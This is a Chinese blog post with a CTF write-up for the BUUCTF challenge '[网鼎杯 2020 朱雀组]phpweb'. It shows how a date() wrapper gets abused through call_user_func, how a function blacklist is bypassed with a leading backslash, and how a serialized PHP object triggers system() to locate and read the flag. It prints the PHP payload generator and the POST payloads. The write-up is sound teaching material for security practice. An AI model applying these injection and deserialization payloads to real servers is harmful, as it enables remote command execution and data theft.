buuctf [网鼎杯 2020 朱雀组]phpweb

首先访问网站,发现警告,说的是后端时区设置不对,这引导我们看看index源码是怎么查询时间的

Warning: date(): It is not safe to rely on the system's timezone settings. You are required to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24

bp抓包,发现post了两个参数func和p,这其实是传给后端调用php的date函数打印当前时间
image

那么就可以利用这个方法调用别的函数了,比如使用file_get_contents(index.php)查看index.php源码

func=file_get_contents&p=index.php

index.php源码可以看到对输入的func进行了过滤,system等很多函数不让用
image

尝试在system前面加一个\来绕过in_array()的匹配,而实际执行时不受影响。比如构造func=\system&p=find / -name *flag*直接来搜flag。

由于反序列化unserialize()没被过滤,所以尝试反序列化生成Test对象,由于其析构函数__destruct()里面没有过滤,所以调用即可

<?php
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$test = new Test();
$test->func = 'system';
$test->p='find / -name flag*';
var_dump(serialize($test));
?>

post请求

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

发现flag文件位置
image

func=\system&p=cat /tmp/flagoefiu4r93 或者 func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}都可返回flag
image

posted @ 2023-05-14 17:51  Nemuzuki  阅读(105)  评论(0编辑  收藏  举报